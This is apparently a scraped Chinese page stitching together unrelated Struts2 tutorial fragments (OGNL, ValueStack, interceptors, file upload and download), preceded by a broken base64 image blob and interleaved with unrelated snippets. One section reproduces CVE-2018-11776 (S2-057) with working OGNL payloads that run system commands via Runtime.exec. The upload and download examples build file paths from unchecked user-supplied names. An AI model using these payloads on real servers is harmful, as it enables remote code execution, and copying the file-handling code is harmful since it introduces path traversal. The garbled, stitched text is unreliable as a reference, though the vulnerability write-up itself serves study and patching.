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” alt=”” / 也就是说我在PathAction类里面定义的foo方法是不被允许的,那到底哪些方法是允许的呢?这里面就需要讲到Struts2.5新增的SMI(严格方法调用),官方文档说是扩展DMI,但是个人感觉新增的SMI更像把DMI边缘化了,SMI的大体使用方式就是,如果你想用DMI的方式调用Action的方法,那么该方法名必须显示地在Struts配置文件中定义,可以写方法名或是使用通配符等等,我使用了如下简单的方式来配置: action name=”path” result name=”path” /path.jsp /result allowed-methods foo /allowed-methods /action 再次执行,果然可以了。 总体来说,Struts2.5新增的SMI概念还是出于安全性的考量,这样就不会让客户端想要调用Action中哪个方法都可以。

Struts2 OGNL表达式、ValueStack

OGNL简介 OGNL,即Object-Graph Navigation Language,对象视图导航语言,是一种数据访问语言,比EL表达式更加强大: EL只能从11个内置对象中取值,且只能获取属性,不能调用对象的方法。 OGNL可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图。 OGNL是可以单独使用的。OGNL并不属于Struts2,只不过Struts2觉得OGNL不错,把OGNL给整合进来了。 Struts2的8个核心jar包中已经包含了OGNL的jar包,不需要我们再导包。 ValueStack(值栈) 简介 ValueStack是Struts2的一个接口,用于存储Struts中的数据。ValueStack接口有一个实现类OgnlValueStack。 创建一个Action实例时,会自动为这个Action实例创建一个ActionContext实例,创建ActionContext实例时,又会自动创建一个ValueStack(OgnlValueStack)的实例,将OgnlValueStack的引用放到ActionContext中,将ActionContext的引用放到Action中。 这三者的生命周期是一致的。 ActionContext存储数据,实际是用ActionContext中的ValueStack来存储数据。 ValueStack的内部结构 ValueStack由2部分组成:root、context。 root部分是一个CompoundRoot对象,extends  ArrayList,内部维护了一个列表。 context部分是一个OgnlContext对象,implements Map,内部维护了一个Map,用来存放常用对象的引用,其中也包括root部分的引用,所以OgnlContext其实是可以访问到所有的数据的。 Ognl表达式使用的数据就是ValueStack中的数据。 ActionContext能获取到域对象(Map)、获取到原生的Servlet对象(request、response、session),就是因为ActionContext内部有ValueStack的引用,可以访问ValueStack中的数据(对象)。 可以在jsp中用 s:debug 标签显示ValueStack的调试信息。 平时说的操作值栈,是指操作root部分,因为context中这些常用对象的引用由struts自动管理,无需我们操作。 ValueStack,顾名思义,是一个栈,ValueStack的栈指的是root部分,栈是通过ArrayList实现的。 获取ValueStack对象的2种方式 ValueStack valueStack = ActionContext.getContext().getValueStack(); Object attribute = ServletActionContext.getRequest().getAttribute(“struts.valueStack”); Object attribute1 = ServletActionContext.getRequest().getAttribute(ServletActionContext.STRUTS_VALUESTACK_KEY); 获取ValueStack对象有2种方式:通过ActionContext对象、通过request对象。 AtionContext中有ValueStack的引用,能获取到; Struts2对request进行了包装、增强(拦截器|过滤器),request中也有ValueStack的引用,也能获取到。 但request是以属性获取,返回值是Object,需要强转,且字符串常量不好记,通过ActionContext获取更方便。 字符串常量 ServletActionContext.STRUTS_VALUESTACK_KEY  即 “struts.valueStack”。 一个Action实例中,只有一个对应的ActionContext对象,只有一个对应的ValueStack对象。 ValueStack的数据存取 1、将数据设置为Action的成员变量,并提供getter方法 public class LoginAction extends ActionSupport{ private String name; private User user; public String getName() { return name; public User getUser() { return user; @Override public String execute() throws Exception { name = “chy”; user = new User(“张三”, 19); return “index”; } root部分是栈,Struts默认会把当前Action的实例压入栈中,所以能从ValueStack中取到此Action实例的属性。 取Action的属性,底层是调用此Action的getter方法,所以需要提供对应的getter方法。 在jsp中取值: s:property value=”name” / s:property value=”user.name” / s:property 是struts2的标签,value中写ognl表达式。 user.name底层是调用user对象的getter方法,所以User类需要提供对应的getter方法。 Struts2对request对象进行了增强,request中也有ValueStack的引用,所以request中也能获取到ValueStack中的数据。 ${requestScope.name} ${requestScope.user.name} %=request.getAttribute(“name”) % %=(User)request.getAttribute(“user”) % % String name = (String) request.getAttribute(“name”); out.print(name); User user = (User)request.getAttribute(“user”); out.print(user.getName()); % EL表达式可以不指定requestScope: ${name} ${user.name} 默认先在requestScope中找,找不到就到ValueStack中找。 此种方式是将数据存到ValueStack的root部分。 如果存储的数据个数较多,Action中会有大量的成员变量、getter方法,很冗杂,一般不用这种。 2、直接操作ValueStack public class LoginAction extends ActionSupport{ @Override public String execute() throws Exception { ValueStack valueStack = ActionContext.getContext().getValueStack(); String name = “chy”; User user = new User(“张三”, 18); valueStack.set(“user”,user); valueStack.set(“name”,name); return “index”; } JSP中取值: s:property value=”name” / s:property value=”user.name” / 此种方式是将数据都放到一个Map中,将此Map压入栈顶,在JSP直接通过Map的key来获取对应的value。 或者使用push(): public class LoginAction extends ActionSupport{ @Override public String execute() throws Exception { ValueStack valueStack = ActionContext.getContext().getValueStack(); User user = new User(“张三”, 18); valueStack.push(user); return “index”; }

在web.xml中配置struts2拦截器

!– 配置Struts2的核心的过滤器 — filter filter-name struts2 /filter-name filter-class org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter /filter-class /filter filter-mapping filter-name struts2 /filter-name url-pattern /* /url-pattern /filter-mapping

Tomcat对Struts中的Action进行授权利

、应用的意义 在某些应用下,如果Action类执行的功能比较重要,可以对该Action类进行授权利以实现只有特定角色的用户能够访问,此时可以在struts-config.xml文件中进行配置   2、在struts-config.xml文件中进行配置 action-mappings actionpath= /BookInfo/indexLoginURI  type= netbook.IndexLoginAction   name= IndexLoginForm scope= request   validate= true    input= /index.jsp roles= admin forwardname= loginSuccess  path= /BookInfo/ShowBookInfo.jsp / forwardname= loginFailure path= /BookInfo/gotoIndex.htm / /action /action-mappings   3、 问该Action 如果访问者不是admin 角色的用户,此时将出现如下的错误

EasyPlayer RTSP播放器运行出现: Unable to load DLL 找不到指定的模块。exception from HRESULT 0x8007007E 解决方案

springmvc和struts2的区别 1.springmvc基于方法开发的,struts2基于类开发的. 2.单例和多例的区别:springmvc在映射的时候,通过形参来接收参数的,是将url和c … 有人把SystemErrorCodes整理成了类,并定义了方法,用于返回消息,他大概不知道FormatMessage的用法,放在这里做参考吧 C# code snipppet class System … —————————————————————————————————- … (dbconsole配置好外面的sqlplus才能连的上服务器上的数据库) 采取重新配置emctl 的方法来解决 [oracle@guohuias3 oracle]$ emca -config dbc … 测试用例场景 获取测试对象的内容是前端自动化测试里一定会使用到的技术.比如我们要判断页面上是否显示了一个提示,那么我们就需要找到这个提示对象,然后获取其中的文字,再跟我们的预期进行比较.在webdri … http://dreamhead.blogbus.com/logs/10756716.html 1.Intent指定启动目标组件 2.Intentfilter描述基本组件所在地址 3.其他包引入资源文件时记得引入R所在的包 package com.jikexueyuan.intent; impo … 在制作发布端的时候,需要采集到声卡的输出信号,以便与麦克风的输入信号进行混音,对于音频处理的技术,主要有如下几种: 采集麦克风输入 采集声卡输出 将音频数据送入声卡进行播放 对多路音频输入进行混音处理 … http://www.cnblogs.com/xfangs/ 欢迎在本文下方评论,小方很需要鼓励支持!!! 本系列教程仅供学习交流 小说阅读器最终实现效果见 第一篇博文 前言 在上一篇文章中,我们实现 … 进程:最小的数据单元 线程:最小的执行单元 一: 1:线程1 import threading #线程 import time def Music(): print( Listen Musi …

enote笔记法的思考

通过邮件发一文档测试一下. 关于Visual Studio Core 官网:https://www.visualstudio.com/en-us/products/code-vs.aspx 安装 也是 … 在UserAction类中引发异常,但是不处理 package com.djoker.struts2; import java.util.Date; import org.apache.struts2 … 意甲冠军: 给你一幅这样子生成的图,求最小生成树的边权和. 思路:对于i = 6的点连回去的5条边,打表知907^53 mod 2333333 = 1,所以x的循环节长度为54,所以9个点为一 … 昨天说了面向对象三大特性的继承,今天来说多态和封装,很多其他程序员说python不支持多态没有多态,并不是python没有多态,而是python处处皆多态.今天的讲课重点会放在封装. 一.多态 1.多 … 前言   公司的代码都存放在自己搭建的gitlab上面.之前由于老板升级gitlab.导致下面有个叫做 api 的groups无法访问.通过无所不能的谷歌才知道.在gitlab在某 … x=[1,4,2,0] # 错误的方式,因为sort没有返回值 y=x.sort() type (y) #NoneType #正确的方式 x.sort() y=x[:] 问题描述: 实现头像的堆叠效果 从第二个头像开始,每个头像都会盖住前一个头像上,遮盖的宽度为 30px 实现叠加的方式有很多,比如给每个头像添加 translateX 属性,或者使用负值 margin … . #@ template debug= true hostspecific= true language= C# # … 本版本延续MVC中的统一验证机制~续的这篇文章,本篇主要是对验证基类的扩展和改善 namespace Web.Mvc.Extensions { #region 验证基类 /// summary … Future API: public interface Future V { /** * Attempts to cancel execution of this task. This …

Struts2拦截器配置实例

!DOCTYPE struts PUBLIC “-//Apache Software Foundation//DTD Struts Configuration 2.3//EN” “http://struts.apache.org/dtds/struts-2.3.dtd” struts constant name=”struts.enable.DynamicMethodInvocation” value=”false” / constant name=”struts.devMode” value=”true” / !– Add packages here — package name=”user” namespace=”/” extends=”struts-default” interceptors interceptor name=”bookInterceptor” param name=”includeMethods” add,update,delete /param param name=”excludeMethods” search /param /interceptor interceptor-stack name=”myStack” interceptor-ref name=”bookInterceptor” /interceptor-ref interceptor-ref name=”defaultStack” /interceptor-ref /interceptor-stack /interceptors global-results result name=”login” type=”dispatcher” /login.jsp /result /global-results action name=”login” result name=”success” type=”redirect” /book.jsp /result /action action name=”book*” method=”{1}” interceptor-ref name=”myStack” /interceptor-ref /action /package /struts 需要注意的是 1、struts标签下只能有 Content Model : ((package | include | bean | constant)*, unknown-handler-stack?) 2、 Element : package Content Model : (result-types?, interceptors?, default-interceptor-ref?, default-action-ref?, default-class- ref?, global-results?, global-exception-mappings?, action*) Element : interceptors Content Model : (interceptor | interceptor-stack)+ 3、还有就是interceptor的位置,要在action之前 默认的拦截器也不能忘了引入, 在对应的action里面引入拦截器 下面是BookInterceptor.java的内容,定义了拦截器对请求的操作 package com.action; import org.apache.struts2.ServletActionContext; import com.opensymphony.xwork2.Action; import com.opensymphony.xwork2.ActionInvocation; import com.opensymphony.xwork2.interceptor.MethodFilterInterceptor; public class BookInterceptor extends MethodFilterInterceptor { @Override protected String doIntercept(ActionInvocation arg0) throws Exception { // TODO Auto-generated method stub User user = (User) ServletActionContext.getRequest().getSession() .getAttribute(“user”); System.out.println(“执行了这个拦截器”); if (user == null) { ServletActionContext.getRequest().setAttribute(“msg”, new String(“权限不足,请您先登陆”)); return Action.LOGIN; return arg0.invoke(); }

Struts2核心包

Commons-logging.jar  ————–  用于通用日志处理 Freemarker.jar  ————–  表现层框架,定义了struts2的可视组件主题 Ognl.jar  ————–  OGNL表达式语言,struts2支持该EL Struts2-core.jar  ————–  struts2 2.0.11.2的核心库 xwork-core-2.3.16.1.jar  ————–  webwork的核心库 如要整合其他框架,则需要添加相应的xxx-plugin.jar 必须的五个架包

J2EE走向成功路-01-Struts2 配置

配置环境 1.  导入jar包,Struts2官网: 2.  创建Action类  继承ActionSupport  (ActionSupport类是一个工具类,它已经实现了Action接口。除此之外,它还实现了Validateable接口,提供了数据校验功能。通过继承该ActionSupport类,可以简化Struts 2的Action开发。 ) 3.  Action配置: 1).在src文件夹下创建struts.xml配置文件 2).导入DTD文件: !DOCTYPE struts PUBLIC “-//Apache Software Foundation//DTD Struts Configuration 2.3//EN” “http://struts.apache.org/dtds/struts-2.3.dtd” DTD文件路径:struts2-core-2.3.x.jar/struts-default.xml 3 ).创建根节点 struts /struts 4 ).在根节点 struts 内创建 package 节点 package 节点属性:name=”package名” extends=”struts-default”(值固定)  namespace=”/” (可不写,默认值就是”/”) 5 ).在 package 节点内创建 action 节点 action 节点属性:name=”访问名称”(不需要加action,访问的时候需要加上action,不能重复) ; method=”方法名”(默认执行execute方法) 以上配置一个 返回值需要一个 action ,过于繁琐,所以可以使用通配符:“ * ” 例如: action name=”test_*” method=”{1}” /action (name=”test_*” 可以匹配到如test_a,test_b的访问路径,method=”{1}” 花括号里面的1代表name中的第一个“ * ” 号) 6 ).在 action 节点下创建 result (没有返回值不需要配置) result 节点属性:name=”方法的返回值” (如果有返回值,数据类型必须是String) type=”dispatcher”(设定转发还是重定向,默认是转发dispatcher,重定向:redirect) 创建无返回值的方法:方法无返回数据类型(void) 02 return Action.NONE(NONE=NULL) 例如: result name=”success” type=”dispatcher” index.jsp(跳转页面) /result 7 ). 全局结果页面配置: global-results result name=”success” /loding.jsp /result /global-results 4. 在web.xml中配置过滤器 !– filter-class 在eclipse中 使用快捷键:Ctrl+Shift+T 输入:StrutsPrepareAndExecuteFilter  找到它的路径 — filter filter-name struts2 /filter-name filter-class org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter /filter-class /filter filter-mapping filter-name struts2 /filter-name url-pattern *.action /url-pattern /filter-mapping 以上就是Struts2的配置文件配置方法啦!

Apache struts2 namespace远程命令执行_CVE-2018-11776(S2-057)漏洞复现

Apache struts2 namespace远程命令执行_CVE-2018-11776(S2-057)漏洞复现 一、漏洞描述 S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令到服务器系统中去 。 二、漏洞影响版本 Apache struts 2.3-Apache struts 2.3.34 Apache struts 2.5-Apache struts 2.5.16 三、漏洞环境搭建以及复现 Win7+tomcat7.0+struts-2.5.16 1、下载struts 2.5.16官方示例showcase 2、把下载的struts2-showcase放到tomcat的webapps目录下 3、修改struts-actionchaining.xml,发现有两处需要修改 4、修改struts-actionchaining.xml,将namespace删除, 将 result 类型改为 redirectAction 修改为如下: struts package name=”actionchaining” extends=”struts-default” action name=”actionChain1″ result type=”redirectAction” param name = “actionName” register2 /param /result /action /package /struts 5、重启tomcat 6、浏览器访问http://192.168.10.230:8080/struts2-showcase/,漏洞环境成功搭建 7、此漏洞利用很简单,只需要在url构造ognl表达式,再加上配置文件中的action标签中的name属性值,并以.action结尾 浏览器访问http://192.168.10.230:8080/struts2-showcase/${100*100}/actionChain1.action,会执行 Ognl 表达式 ${100*100} 8、路径跳转到我们在配置的action文件路径下,到此,S2-057漏洞被成功的利用了 9、弹计算器,但是在目标没有弹出计算器 Poc如下: ${(#_memberAccess[“allowStaticMethodAccess”]=true,#a=@java.lang.Runtime@getRuntime().exec(‘calc’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new  java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())} 四、漏洞防御 1、 升级最新版本 使用docker搭建 1、利用docker搭建vulhub漏洞环境 docker-compose up -d 2、 启动环境后,访问http://172.17.0.1:8080/struts2-showcase/ 3、burp抓包,修改包如下,说明存在漏洞 4、使用poc验证 POC如下: ${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec(‘id’)).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))} 5、把poc替换相应的位置,验证说明存在漏洞  #poc需要url编码 ———————————————————————————————————– 参考:https://github.com/vulhub/vulhub/tree/master/struts2/s2-057

七 Struts2 文件上传和下载

!DOCTYPE struts PUBLIC “-//Apache Software Foundation//DTD Struts Configuration 2.3//EN” “http://struts.apache.org/dtds/struts-2.3.dtd” struts package name=”my” namespace=”/” extends=”struts-default” !– 文件上传 — action name=”upload” result name=”success” /jsp/fileupload.jsp /result /action !– 文件下载 — action name=”download” result name=”success” type=”stream” !– inputNamec参数对应action中的getFileDownload方法,参数的值就是此方法去掉get前缀、首字母小写的字符串 — param name=”inputName” fileDownload /param !– 下载缓冲区的大小 — param name=”bufferSize” 1024 /param /result /action /package /struts 文件上传: fileupload.jsp %@ page language=”java” import=”java.util.*” pageEncoding=”UTF-8″% % String path = request.getContextPath(); String basePath = request.getScheme()+”://”+request.getServerName()+”:”+request.getServerPort()+path+”/”; !DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” html head base href=” %=basePath% ” title My JSP ‘fileupload.jsp’ starting page /title meta http-equiv=”pragma” content=”no-cache” meta http-equiv=”cache-control” content=”no-cache” meta http-equiv=”expires” content=”0″ meta http-equiv=”keywords” content=”keyword1,keyword2,keyword3″ meta http-equiv=”description” content=”This is my page” !– link rel=”stylesheet” type=”text/css” href=”styles.css” — /head body form action=”upload” method=”post” enctype=”multipart/form-data” input type=”file” name=”file” br input name=”miaoshu” br input type=”submit” value=”提交” /form /body /html UploadAction.java package com.action; import java.io.*; import org.apache.struts2.ServletActionContext; import com.opensymphony.xwork2.ActionSupport; public class UploadAction extends ActionSupport{ String miaoshu; File file; String fileFileName;//获取文件名,该属性名的组成为file+FileName 后面是固定写法 String fileContentType;//获取文件类型 public String getMiaoshu() { return miaoshu; } public void setMiaoshu(String miaoshu) { this.miaoshu = miaoshu; } public File getFile() { return file; } public void setFile(File file) { this.file = file; } public String getFileFileName() { return fileFileName; } public void setFileFileName(String fileFileName) { this.fileFileName = fileFileName; } public String getFileContentType() { return fileContentType; } public void setFileContentType(String fileContentType) { this.fileContentType = fileContentType; @Override public String execute() throws Exception { // TODO Auto-generated method stub System.out.println(miaoshu); //获取文件存储路径 String path = ServletActionContext.getServletContext().getRealPath(“/upload”); //输出流 OutputStream os = new FileOutputStream(new File(path,fileFileName)); //输入流 InputStream is = new FileInputStream(file); byte[] buf = new byte[1024]; int length = 0 ; while(-1 != (length = is.read(buf) ) ) { os.write(buf, 0, length) ; } is.close(); os.flush(); os.close(); return SUCCESS; } } 文件下载: filedownload.jsp %@ page language=”java” import=”java.util.*” pageEncoding=”UTF-8″% % String path = request.getContextPath(); String basePath = request.getScheme()+”://”+request.getServerName()+”:”+request.getServerPort()+path+”/”; !DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” html head base href=” %=basePath% ” title My JSP ‘filedownload.jsp’ starting page /title meta http-equiv=”pragma” content=”no-cache” meta http-equiv=”cache-control” content=”no-cache” meta http-equiv=”expires” content=”0″ meta http-equiv=”keywords” content=”keyword1,keyword2,keyword3″ meta http-equiv=”description” content=”This is my page” !– link rel=”stylesheet” type=”text/css” href=”styles.css” /head body form action=”download” method=”post” 输入文件名: input name=”filename” br/ input type=”submit” value=”下载” /form p a href=”javascript:window.location=’download?filename=’+encodeURI(‘李四.png’)” 李四下载 /a /p /body /html DownAction.java package com.action; import java.io.InputStream; import java.io.UnsupportedEncodingException; import java.net.URLEncoder; import org.apache.struts2.ServletActionContext; import com.opensymphony.xwork2.ActionSupport; public class DownAction extends ActionSupport{ String filename; public String getFilename() { return filename; public void setFilename(String filename) { this.filename = filename; public InputStream getFileDownload(){ try { //设置下载的头部信息,包括文件名等等 ServletActionContext.getResponse().setHeader(“Content-Disposition”, “attachment;fileName=” + URLEncoder.encode(filename, “utf-8”)); } catch (UnsupportedEncodingException e) { // TODO Auto-generated catch block e.printStackTrace(); } return ServletActionContext.getServletContext().getResourceAsStream(“upload/”+filename); @Override public String execute() throws Exception { // TODO Auto-generated method stub return SUCCESS; } } 附:文件批量上传 filesupload.jsp %@ page language=”java” import=”java.util.*” pageEncoding=”UTF-8″% % String path = request.getContextPath(); String basePath = request.getScheme()+”://”+request.getServerName()+”:”+request.getServerPort()+path+”/”; !DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” html head base href=” %=basePath% ” title My JSP ‘filesupload.jsp’ starting page /title meta http-equiv=”pragma” content=”no-cache” meta http-equiv=”cache-control” content=”no-cache” meta http-equiv=”expires” content=”0″ meta http-equiv=”keywords” content=”keyword1,keyword2,keyword3″ meta http-equiv=”description” content=”This is my page” !– link rel=”stylesheet” type=”text/css” href=”styles.css” /head script type=”text/javascript” function add(){ var input = document.createElement(“input”); input.setAttribute(“type”,”file”); input.setAttribute(“name”,”file”); document.getElementById(“files”).appendChild(input); } /script body form action=”uploads” method=”post” enctype=”multipart/form-data” div id=”files” input type=”file” name=”file” / /div input type=”button” value=”添加” input type=”submit” value=”提交” /form /body /html UploadsAction.java package com.upload.action; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream; import java.util.List; import org.apache.struts2.ServletActionContext; import com.opensymphony.xwork2.ActionSupport; public class UploadsAction extends ActionSupport{ List File file; List String fileFileName; List String fileContentType; public List File getFile() { return file; } public void setFile(List File file) { this.file = file; } public List String getFileFileName() { return fileFileName; } public void setFileFileName(List String fileFileName) { this.fileFileName = fileFileName; } public List String getFileContentType() { return fileContentType; } public void setFileContentType(List String fileContentType) { this.fileContentType = 